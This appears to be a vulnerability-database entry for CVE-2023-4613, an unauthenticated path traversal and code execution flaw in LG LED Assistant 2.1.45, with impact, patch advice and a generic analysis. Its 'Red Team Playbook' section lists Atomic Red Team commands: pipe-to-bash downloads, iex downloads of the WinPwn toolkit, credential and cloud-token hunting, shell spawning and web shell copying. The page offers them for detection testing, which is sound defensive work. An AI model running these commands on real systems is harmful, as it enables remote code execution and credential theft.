CVE-2023-4613
Overview
The vulnerability is a path traversal flaw in LG Electronics LG-LED Assistant version 2.1.45, specifically within the /api/settings/upload endpoint. The root cause is insufficient validation of user-supplied file paths before performing file operations, enabling arbitrary file access or manipulation. This improper sanitization of input paths allows attackers to influence file system operations in the affected component.
Vulnerability Description
This vulnerability allows remote attackers to execute arbitrary code on affected installations of LG LED Assistant. Authentication is not required to exploit this vulnerability. The specific flaw exists within the /api/settings/upload endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the current user.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with the privileges of the LG-LED Assistant service user. This can lead to full system compromise, data manipulation, or persistent backdoor installation. No user interaction or authentication is required, and the attack can be conducted over the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates high exploitability and critical impact on confidentiality, integrity, and availability.
Solution
LG Electronics has released security updates addressing this vulnerability in LG-LED Assistant version 2.1.46 as detailed in their security bulletin at https://lgsecurity.lge.com/bulletins/idproducts#updateDetails. Users should apply the latest patch immediately to remediate the flaw. No specific workarounds are noted; therefore, updating to the vendor-provided fixed version is the recommended mitigation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in LG LED Assistant stems from inadequate validation of user-supplied input within the /api/settings/upload endpoint. This flaw allows an attacker to manipulate file operations by providing a malicious path, leading to arbitrary code execution on the affected system. The absence of authentication requirements exacerbates the risk, as it enables unauthenticated users to exploit the vulnerability without any barriers. The potential for remote code execution means that an attacker can execute commands in the context of the current user, which could lead to a complete compromise of the system if the user has elevated privileges.
Attack vectors for this vulnerability are particularly concerning due to the ease of exploitation. An attacker can craft a specially designed request to the vulnerable endpoint, providing a path that points to a malicious payload. This payload could be hosted on an external server or included in the request itself. Once the malicious code is executed, the attacker could gain control over the affected system, allowing for further exploitation, data exfiltration, or lateral movement within the network. Scenarios could include deploying ransomware, stealing sensitive information, or using the compromised system as a launchpad for attacks on other connected devices.
The real-world impact of this vulnerability is significant, especially for organizations that utilize LG LED Assistant in their operations. Given the high CVSS score of 9.8, the potential for severe consequences is evident. Businesses could face operational disruptions, financial losses, and reputational damage if their systems are compromised. Furthermore, the exploitation of this vulnerability could lead to regulatory scrutiny, especially if sensitive customer data is involved. The ease of exploitation and the lack of authentication make it a prime target for attackers, increasing the urgency for organizations to address this risk.
Detection and mitigation strategies must be implemented to safeguard against this vulnerability. Organizations should prioritize the deployment of security patches provided by LG, as these will address the underlying flaw in the software. Additionally, implementing network segmentation can help limit the exposure of vulnerable systems to the internet, reducing the attack surface. Regular security assessments and penetration testing should be conducted to identify and remediate vulnerabilities proactively. Intrusion detection systems (IDS) can also be employed to monitor for unusual activity related to the /api/settings/upload endpoint, enabling organizations to respond swiftly to potential exploitation attempts.
In conclusion, the vulnerability within LG LED Assistant represents a critical risk that organizations must address promptly. The combination of remote code execution capabilities, lack of authentication, and the potential for severe business impact necessitates immediate action. By understanding the technical details, potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the threats posed by this vulnerability.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Lg | Lg Led Assistant | 2.1.45 |
cpe:2.3:a:lg:lg_led_assistant:2.1.45:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-4613 |
| lgsecurity.lge.com |
GitHub CVE
vendor-advisory
|
https://lgsecurity.lge.com/bulletins/idproducts#updateDetails |
| zerodayinitiative.com |
GitHub CVE
third-party-advisory
|
https://www.zerodayinitiative.com/advisories/ZDI-23-1221/ |